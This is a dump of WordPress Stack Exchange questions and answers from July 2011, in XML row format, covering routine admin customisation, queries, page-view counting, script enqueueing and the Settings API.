  <row Id="22369" PostTypeId="2" ParentId="22368" CreationDate="2011-07-08T05:35:19.927" Score="1" ViewCount="" Body="&lt;p&gt;This might not be the most elegant solution, but it works. I made a simple plug-in for customizing the WordPress Admin area. Just save this code as custom_admin.php and put it in a folder named custom_admin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Custom Admin&#xA;Plugin URI: http://ideatree-website-design.com/&#xA;Description: Creating a Better Looking WordPress Admin Screen&#xA;Version: 1.0&#xA;Author: Jeremy Jared&#xA;Author URI: http://ideatree-website-design.com/&#xA;*/&#xA;add_action( 'admin_print_styles', 'load_custom_admin_css' );&#xA;&#xA;function load_custom_admin_css()&#xA;{&#xA;wp_enqueue_style('my_style', WP_CONTENT_URL . '/plugins/custom_admin/custom_admin.css');&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next create a style-sheet and name it custom_admin.css and place this code in the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.form-table th, label, #your-profile label + a, #postcustomstuff table, #your-profile fieldset, #rightnow, div.dashboard-widget, #dashboard-widgets p.dashboard-widget-links, #replyrow #ed_reply_toolbar input {&#xA;display:none !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Place the custom_admin.php and the custom_admin.css in the custom_admin folder, &#xA;upload it to your plug-ins folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then activate it inside the plug-ins section. To make changes just go to plug-ins&gt;edit&gt; and choose the custom_admin plugin to add or remove css. This can also be used to customize the look of the admin area.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-08T05:35:19.927" CommentCount="3" />
  <row Id="22370" PostTypeId="2" ParentId="21962" CreationDate="2011-07-08T05:45:27.697" Score="0" ViewCount="" Body="&lt;p&gt;Well, at last this was easier than I thought:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I created 2 Post-Categories. At least Wordpress 3.2 has the possibility to add categories to menus: Under Appearance -&gt; Menus scroll down to the Categories-frame, choose one and click 'Add to Menu'. It's added as new menuitem on the end and you can drag it around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have your categories in a sidebar they are all shown to the user, so its quite easy to switch between the 'blog-areas'. With a little PHP its probably possible to sort out some of them, especially if you use the parent-feature. But for now I don't show them at all and use tags instead.&lt;/p&gt;&#xA;" OwnerUserId="6730" LastActivityDate="2011-07-08T05:45:27.697" />
  <row Id="22371" PostTypeId="2" ParentId="22246" CreationDate="2011-07-08T06:13:48.797" Score="1" ViewCount="" Body="&lt;p&gt;You can add it directly through your functions.php, unfortunately this is not documented very well at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to hook into &lt;code&gt;add_comment_meta&lt;/code&gt; using &lt;code&gt;add_action&lt;/code&gt;, to look at this further refer to line 500-ish of comment.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_comment_meta($comment_id, $meta_key, $meta_value, $unique = false) {&#xA;&#xA;    return add_metadata('comment', $comment_id, $meta_key, $meta_value, $unique);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-08T06:13:48.797" CommentCount="2" />
  <row Id="22372" PostTypeId="2" ParentId="22305" CreationDate="2011-07-08T06:35:06.313" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Found It!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had done a redirect, so my ajax function status was 302...&#xA;I deleted the redirect and it worked !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys.&lt;/p&gt;&#xA;" OwnerUserId="2000" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-08T14:40:11.567" LastActivityDate="2011-07-08T14:40:11.567" />
  <row Id="22373" PostTypeId="1" CreationDate="2011-07-08T07:15:51.677" Score="0" ViewCount="36" Body="&lt;p&gt;HOW TO create query with taxonomy and regural post all included in same post query something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myquery['tax_query'] = array(&#xA;&#xA;    'relation' =&amp;gt; 'OR',&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'testelec',&#xA;        'terms' =&amp;gt; array('Prima-pagina'),&#xA;        'field' =&amp;gt; 'slug',  &#xA;    ),  array(&#xA;        'taxonomy' =&amp;gt; 'post',&#xA;        'terms' =&amp;gt; array('News'),&#xA;        'field' =&amp;gt; 'slug'&#xA;    ),&#xA;);&#xA;query_posts($myquery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6857" LastEditorUserId="974" LastEditorDisplayName="" LastEditDate="2011-07-08T10:01:11.123" LastActivityDate="2011-07-08T10:01:11.123" Title="query_posts taxonomy and regular posts in same query" Tags="&lt;posts&gt;&lt;taxonomy&gt;&lt;query&gt;" />
  <row Id="22376" PostTypeId="1" CreationDate="2011-07-08T07:57:32.100" Score="0" ViewCount="68" Body="&lt;p&gt;Our site is quite high traffic and we use both nginx and w3 total cache to handle the load. We've previously been using wp-postviews to count the page views, but it seems to be locking the postmeta table now, and often doesnt count views at all. It's unreliable at best. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest a way for us to count page views and put them into the DB, or any specific workable solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thoughts are to have the view count done via javascript to update a separate database, then a cron job at the end of each day to merge the results, but I'm not sure where to start. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="5907" LastActivityDate="2011-07-08T10:39:29.653" Title="Counting pageviews on high-traffic cached sites" Tags="&lt;plugins&gt;&lt;views&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="22377" PostTypeId="2" ParentId="22368" CreationDate="2011-07-08T09:14:22.843" Score="1" ViewCount="" Body="&lt;p&gt;I think this is the kind of thing you had in mind.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles-profile.php', 'remove_profile_fields' );&#xA;add_action( 'admin_print_styles-user-edit.php', 'remove_profile_fields' );&#xA;&#xA;function remove_profile_fields( $hook ) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        form#your-profile p+h3,&#xA;        form#your-profile p+h3+table { display:none!important;visibility:hidden!important; }&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There aren't any actions or filters to remove the items you're referring to(with exception the admin color scheme), and the table they sit in does not have a unique identifier, which in turn means the only solution to getting rid of them is using CSS or jQuery selectors, neither of which will work for &lt;em&gt;every&lt;/em&gt; user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE6 for example won't understand the CSS i've written above and will just ignore it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery solutions are possible, but like the above, they won't work for &lt;em&gt;every&lt;/em&gt; user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Jeremy,&lt;br&gt;&#xA;Whilst it's nice you've shown how to add a stylesheet to the admin, it's not really ideal to suggest adding one to &lt;strong&gt;every&lt;/strong&gt; admin page when the requirement was to only load additional CSS or JS for a specific one or two pages, you should ideally also be using &lt;code&gt;plugins_url()&lt;/code&gt; for generating the URL to plugin files.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-08T09:14:22.843" CommentCount="3" />
  <row Id="22378" PostTypeId="2" ParentId="22376" CreationDate="2011-07-08T09:24:07.193" Score="0" ViewCount="" Body="&lt;p&gt;Just use Google Analytics or wp.com stats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not worth wasting time on something that's already solved.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-08T09:24:07.193" CommentCount="5" />
  <row Id="22380" PostTypeId="2" ParentId="22354" CreationDate="2011-07-08T09:42:54.253" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It does not work successfully when called from these hooks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I suggest you check the source of the page, those hooks work just fine for enqueues. I copied your code to check anyway, and i see both the stylesheet and script enqueued when using the hooks..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way you're loading the enqueues looks wrong though, i'd suggest the following..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function call_my_function() {&#xA;    wp_enqueue_script(&quot;my_plugin_js&quot;, plugins_url( '/js/my_plugin.js', __FILE__ ) );&#xA;    wp_enqueue_style(&quot;my_plugin_css&quot;, plugins_url( '/css/my_plugin.css', __FILE__ ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-08T09:42:54.253" />
  <row Id="22381" PostTypeId="1" AcceptedAnswerId="22414" CreationDate="2011-07-08T09:44:45.563" Score="0" ViewCount="69" Body="&lt;p&gt;I want to remove the below text links in Edit Post screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All (8) | Published (5) | Draft (1) | Pending (2) | Trash (2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After searching, i found that this can be done by this code &lt;a href=&quot;http://code.garyjones.co.uk/remove-post-views-from-wordpress/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but sadly it only works with 'post' type. I'm failed to make it works with my custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'views_edit-post', 'remove_edit_post_views' );&#xA;function remove_edit_post_views( $views ) {&#xA;        if( get_post_type() === 'movie' )  {&#xA;            unset($views['all']);&#xA;            unset($views['publish']);&#xA;            unset($views['trash']);&#xA;        }&#xA;&#xA;        return $views;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong with my code ?&lt;/p&gt;&#xA;" OwnerUserId="6783" LastActivityDate="2011-07-08T15:39:42.673" Title="Remove All, Published and Trashed Post Views in Custom Post Type" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="22382" PostTypeId="1" CreationDate="2011-07-08T09:49:14.903" Score="0" ViewCount="32" Body="&lt;p&gt;I would like to display, on the author/user/contributor page, the number of comments the user has posted, and the number of comments he has received on his posts. Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you !&lt;/p&gt;&#xA;" OwnerUserId="6831" LastActivityDate="2011-07-08T09:49:14.903" Title="Display the number of user comments" Tags="&lt;functions&gt;&lt;comments&gt;&lt;author&gt;" />
  <row Id="22383" PostTypeId="2" ParentId="22376" CreationDate="2011-07-08T10:39:29.653" Score="1" ViewCount="" Body="&lt;p&gt;It really depends what you need to view counts for - if it's just for seeing traffic stats, then use Google Analytics or any number of javascript tracker based analytics tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need integration of page view counts and the ability to do things like order post by views, then you can either&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;spend some time optimising your database - some options and things to consider&#xA;&lt;ul&gt;&#xA;&lt;li&gt;more memory for MySQL&lt;/li&gt;&#xA;&lt;li&gt;change the postmeta table to be InnoDB&lt;/li&gt;&#xA;&lt;li&gt;get a separate database server&lt;/li&gt;&#xA;&lt;li&gt;make sure you've tuned your MySQL settings (use mysqltuner as a starting point)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;OR &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use something like Piwik and spend time integrating it (it has a decent API) with WordPress.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-07-08T10:39:29.653" CommentCount="1" />
  <row Id="22386" PostTypeId="1" CreationDate="2011-07-08T11:40:23.940" Score="0" ViewCount="9" Body="&lt;p&gt;Would it be possible to make the link post format work the way links are shared in Facebook, i.e. auto-populate a title, description, and thumbnail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plugin for BuddyPress (&lt;a href=&quot;http://wordpress.org/extend/plugins/buddypress-links/&quot; rel=&quot;nofollow&quot;&gt;Buddypress Links&lt;/a&gt;, see screenshots) makes this possible for community links... any ideas how I could achieve something similar for link post format items?&lt;/p&gt;&#xA;" OwnerUserId="6864" LastActivityDate="2011-07-08T11:40:23.940" Title="Auto-embed link info from URLs in link post format?" Tags="&lt;links&gt;&lt;post-formats&gt;" />
  <row Id="22387" PostTypeId="2" ParentId="17946" CreationDate="2011-07-08T11:43:11.287" Score="-2" ViewCount="" Body="&lt;p&gt;Try to find a better wordpress translator plugin in wordpress website where it contains lot of plugins for translating.&lt;/p&gt;&#xA;" OwnerUserId="6865" LastActivityDate="2011-07-08T11:43:11.287" />
  <row Id="22388" PostTypeId="1" CreationDate="2011-07-08T11:53:29.000" Score="0" ViewCount="15" Body="&lt;p&gt;How can I enable any visitor to add and edit posts, including custom fields, from the front end? Changes and additions to the posts should preferably be moderated by the admin before being published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is possible, would it be possible to allow for multiple values per custom field, perhaps with an 'add value' link underneath the form item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;http://voodoopress.com/2011/03/review-of-posting-from-front-end-form/&quot; rel=&quot;nofollow&quot;&gt;tutorial (series)&lt;/a&gt;, although very helpful, falls short when it comes to these points.&lt;/p&gt;&#xA;" OwnerUserId="6864" LastActivityDate="2011-07-08T11:53:29.000" Title="Enable broad wiki functionality on all posts, including custom fields?" Tags="&lt;custom-field&gt;&lt;editor&gt;&lt;forms&gt;&lt;front-end&gt;&lt;wiki&gt;" />
  <row Id="22389" PostTypeId="2" ParentId="22347" CreationDate="2011-07-08T11:53:57.157" Score="1" ViewCount="" Body="&lt;p&gt;I have used the plugin Comment Notifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/comments-notifier/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/comments-notifier/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it works adequately.&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-07-08T11:53:57.157" />
  <row Id="22390" PostTypeId="1" AcceptedAnswerId="22714" CreationDate="2011-07-08T12:01:19.477" Score="0" ViewCount="41" Body="&lt;p&gt;I'm using wp_list_categories to give me a list of links to categories (no surprise there)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get Wordpress to link to the first post of a given category instead of calling the taxonomy template which displays links to all posts in that category?&lt;/p&gt;&#xA;" OwnerUserId="4316" LastActivityDate="2011-07-12T08:57:42.470" Title="wp_list_categories link to first post of category instead of calling taxonomy template" Tags="&lt;posts&gt;&lt;categories&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="22391" PostTypeId="1" CreationDate="2011-07-08T12:17:17.170" Score="0" ViewCount="30" Body="&lt;p&gt;My site is at &lt;a href=&quot;http://www.aviewtoathrill.net&quot; rel=&quot;nofollow&quot;&gt;http://www.aviewtoathrill.net&lt;/a&gt;. I have deactivated all of my plugins in the hopes of getting my images to show up on the site. Since it is a travel site, images are crucial. I think the problem began when I installed w3 total cache because the site was very slow. That plugin caused me to have lots of problems with redirection. I installed disable canonical url plugin which helped temporarily until the whole site crashed. I uninstalled both of those plugins. Also, I switched hosts from fatcow to stablehost, so I'm not sure if that may have affected things. Additionally, I upgraded my wordpress from 2.9 to 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, I realize with all of my images, I need external storage. I have started an amazon s3 and cloudfront account. However, I can't figure out how to transfer the files/folders. Please feel free to ask for clarification. I'm sure it sounds like I'm rambling, I just want to find someone who can fix my problem completely for once and for all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, I just reinstalled my broken links plugin and it says that 534 image links are broken....just thought that I would add that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Renee&lt;/p&gt;&#xA;" OwnerUserId="6866" LastActivityDate="2011-07-08T15:21:41.503" Title="I'm having several WP issues, especially with missing images" Tags="&lt;plugins&gt;&lt;images&gt;&lt;caching&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22392" PostTypeId="1" CreationDate="2011-07-08T12:24:00.750" Score="1" ViewCount="41" Body="&lt;p&gt;I welcome recommendation from the gurus for my ecommerce website -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make a ecommerce website and I want it to be for members only. I want to restrict members from visiting the dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want guest-visitors to land on a login page , and once they login to my website they would be able to provide billing address, contact information, they would be able to shop, track orders status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest me what plugins and theme (free and premium both) would be best for my website ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would sell T-shirts and Canvas shoes .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extra (must) features I want for my ecommerce website:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;members only website (only login page visible to non-logged in visitors)&lt;/li&gt;&#xA;&lt;li&gt;members will have a profile page where they can update the billing and shipping information, which will be used in future for all shopping transactions they make, with a confirmation during finalising the order.&lt;/li&gt;&#xA;&lt;li&gt;HTML Email and Newsletters&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;P.S. - I have tested &lt;a href=&quot;http://wordpress.org/extend/plugins/eshop/&quot; rel=&quot;nofollow&quot;&gt;eshop (Wordpress Plugin)&lt;/a&gt;. I liked it. But the only two problems with this plguin is that&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the orders can only be tracked from the dashboard, and I have asked the developer about the code to make order tracking system a frontend page, but the developer said thats not possible.&lt;/li&gt;&#xA;&lt;li&gt;No members profile page to update and save billing and shipping address (Shoppers have to fill in the personal infomations every time they order something which is annoying).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Isn't there any solution at all?&lt;/p&gt;&#xA;" OwnerUserId="1369" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-08T15:37:42.937" LastActivityDate="2011-07-08T15:37:42.937" Title="Recommend plugins for member's only e-commerce website" Tags="&lt;e-commerce&gt;&lt;membership&gt;" CommentCount="1" />
  <row Id="22393" PostTypeId="2" ParentId="22182" CreationDate="2011-07-08T12:49:50.493" Score="0" ViewCount="" Body="&lt;p&gt;For me, &quot;Featured Image&quot; was still missing from the Screen Options tab, even after clearing the cache and restarting the browser. In my case the problem was related to having a WordPress 3.2 Multisite install. With this setup, the Media upload buttons must be checked in Network Admin to enable the featured image meta box in the editor (these are unchecked by default). From &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_post_type_support#Multisite&quot; rel=&quot;nofollow&quot;&gt;the WordPress Codex&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To show the &quot;Featured Image&quot; meta box in mulsite installation, make sure you update the allowed upload file types, in Network Admin, Network Admin Settings SubPanel, Upload Settings, Media upload buttons options. Default is off.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6867" LastActivityDate="2011-07-08T12:49:50.493" />
  <row Id="22394" PostTypeId="1" AcceptedAnswerId="22426" CreationDate="2011-07-08T13:22:26.893" Score="1" ViewCount="80" Body="&lt;p&gt;What happens, when I click &lt;code&gt;Save Changes&lt;/code&gt; on a option page, which was created by &lt;code&gt;add_menu_page()&lt;/code&gt;? Where is the submitted data stored &lt;em&gt;before&lt;/em&gt; the database transmission?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;print_r($_REQUEST)&lt;/code&gt; returns only the two &lt;code&gt;$_GET&lt;/code&gt; parameters &lt;code&gt;page&lt;/code&gt; and &lt;code&gt;settings-updated&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the manual for &lt;code&gt;add_settings_field&lt;/code&gt; and there is only the following hint:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... the saving will be done behind the scenes. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Background&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'd like to optimize my process of creating a plugin settings page. I've already jumped on the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;WP Settings API&lt;/a&gt; with &lt;code&gt;add_settings_section&lt;/code&gt; and &lt;code&gt;add_settings_field&lt;/code&gt; long time ago, but it feels a bit uncomfortable to create a new callback function every time. So instead of creating the specific field/section code inside a callback, I'd like to create the complete settings page with &lt;code&gt;Zend_View&lt;/code&gt;. All input fields would be created with &lt;code&gt;Zend_Form&lt;/code&gt; and also attached to the view. In the end, the callback of &lt;code&gt;add_menu_page()&lt;/code&gt; will return the rendered View-Object instead of the normal HTML output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTML is stored inside a View-Template, located in &lt;code&gt;views/pages/admin/&lt;/code&gt; (e.g. &lt;code&gt;default.phtml&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic principle is already working I'm very happy with the result. Due to the use of &lt;code&gt;Zend_View&lt;/code&gt;, I've to do the saving on my own. But WordPress seems to delete the submitted $_POST array. If I debug the output after a successfull form submission, only the two &lt;code&gt;$_GET&lt;/code&gt; params above are set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also attached the output of the function &lt;code&gt;settings_fields()&lt;/code&gt; to the view, which generates the required hidden fields (&lt;code&gt;option_page&lt;/code&gt;, &lt;code&gt;action&lt;/code&gt;, &lt;code&gt;_wp_nonce&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-07-08T18:08:44.463" Title="Where is the submitted $_POST array stored after an option page submission?" Tags="&lt;options&gt;&lt;add-menu-page&gt;" AnswerCount="2" />
  <row Id="22395" PostTypeId="1" CreationDate="2011-07-08T13:23:36.987" Score="0" ViewCount="65" Body="&lt;p&gt;I have seen one of the best featured content slider here:&#xA;&lt;a href=&quot;http://www.elegantthemes.com/preview/Polished/&quot; rel=&quot;nofollow&quot;&gt;http://www.elegantthemes.com/preview/Polished/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you recommend me a plugin to replicate it in my own wp theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6868" LastActivityDate="2011-08-11T17:22:26.287" Title="a featured content slider like this" Tags="&lt;plugin-recommendation&gt;&lt;slideshow&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22396" PostTypeId="1" AcceptedAnswerId="22398" CreationDate="2011-07-08T13:40:05.943" Score="0" ViewCount="38" Body="&lt;p&gt;I added the following code which allows categories on my 'Page' post type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'edit_page_type');&#xA;function edit_page_type() &#xA;{&#xA;    register_taxonomy_for_object_type('category', 'page');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i realize the permalinks dont exactly match... How can i rewrite the page permalinks to act like the post permalinks? (which include the category before the page title)&lt;/p&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-07-08T13:48:23.220" Title="Page permalink rewrite" Tags="&lt;categories&gt;&lt;php&gt;&lt;rewrite-rules&gt;" AnswerCount="1" />
  <row Id="22397" PostTypeId="2" ParentId="22394" CreationDate="2011-07-08T13:43:59.230" Score="4" ViewCount="" Body="&lt;p&gt;You only need &lt;em&gt;one&lt;/em&gt; callback function, as defined in your call to &lt;code&gt;register_setting()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_setting&quot; rel=&quot;nofollow&quot;&gt;Codex ref.&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_setting( $option_group, $option_name, $sanitize_callback );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus, all options are contained in an array, in a single database entry, &lt;code&gt;$option_name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, the callback function is passed the &lt;code&gt;$input&lt;/code&gt; variable that holds all of the form-submitted data, the function manipulates/sanitizes those data, and returns the sanitized output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_sanitize_callback( $input ) {&#xA;    // sanitization functions go here&#xA;    return $sanitized_output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So: &lt;em&gt;one&lt;/em&gt; database entry, as an array of options; and &lt;em&gt;one&lt;/em&gt; sanitization callback for form-submitted user data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more help, you might reference &lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-08T13:43:59.230" CommentCount="2" />
  <row Id="22398" PostTypeId="2" ParentId="22396" CreationDate="2011-07-08T13:48:23.220" Score="0" ViewCount="" Body="&lt;p&gt;Can you not just use Posts thats was they're designed for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't really categorise pages you structure them so they have parents and so on. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-08T13:48:23.220" CommentCount="4" />
  <row Id="22399" PostTypeId="1" AcceptedAnswerId="22411" CreationDate="2011-07-08T13:54:15.743" Score="1" ViewCount="80" Body="&lt;p&gt;I use this in functions.php to change &quot;howdy&quot; to &quot;Logged in as....&quot; But now under 3.1 I get &quot;Logged in as Your Profile&quot; rather than &quot;Logged in as &lt;code&gt;&amp;lt;current user&amp;gt;&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What needs to be changed so that &quot;user&quot; below (commented below as &lt;code&gt;//get current user?)&lt;/code&gt; returns the current user in 3.1?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_admin()) {&#xA;    add_action('init', 'better_howdy_h');&#xA;    add_action('admin_footer', 'better_howdy_f');&#xA;&#xA;    function better_howdy_h() {&#xA;        wp_enqueue_script('jquery');&#xA;    }&#xA;&#xA;    function better_howdy_f() {&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;    var user = jQuery('#user_info p a:first').text();&#xA;    var howdy = jQuery('#user_info p')&#xA;        .html()&#xA;        .replace(/&amp;lt;.+&amp;gt;/ig,'')&#xA;        .replace(/\ \|\n/ig,'');&#xA;    jQuery('#user_info p')&#xA;        .html(&#xA;            jQuery('#user_info p')&#xA;                .html()&#xA;                .replace(user,'My Profile')&#xA;        .replace(howdy,'Logged in as ' + user + ' | ') //get current user?&#xA;                .replace('!',' |')&#xA;                .replace('| |','|')&#xA;        );&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php &#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-07-08T14:23:47.060" LastActivityDate="2011-07-08T15:22:42.437" Title="Get current logged in user under 3.1, re: remove &quot;Howdy&quot;" Tags="&lt;admin&gt;&lt;jquery&gt;&lt;user&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="22400" PostTypeId="2" ParentId="22395" CreationDate="2011-07-08T13:59:53.290" Score="0" ViewCount="" Body="&lt;p&gt;Not a plugin but easy to integrate into your wp theme: &lt;a href=&quot;http://www.queness.com/post/3036/create-a-custom-jquery-image-gallery-with-jcarousel&quot; rel=&quot;nofollow&quot;&gt;jQuery Image Gallery with jCarousel&lt;/a&gt;. You'll just have to insert special queries to get the images commimg from posts or even special categories or even custom post type 'featured'.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-08T13:59:53.290" />
